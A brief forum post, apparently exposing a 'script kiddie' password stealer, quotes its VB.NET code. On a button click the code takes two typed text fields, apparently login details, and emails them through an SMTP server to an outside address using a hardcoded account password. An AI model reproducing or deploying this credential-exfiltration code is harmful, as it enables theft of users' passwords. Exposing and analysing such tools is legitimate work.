Script Kiddie Password Stealer
Quote:
Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.Timer1.Start
Dim text As String = (Me.TextBox1.Text & Me.TextBox2.Text & ChrW(10))
Dim myClient As New SmtpClient("smtp.web.de")
myClient.Credentials = New NetworkCredential("[email protected]", "1nternet")
myClient.Send("[email protected]", "[email protected], [email protected]", "Pw Stealer..", [text])
End Sub
|
Have no more Functions
@Mod please Delete the Link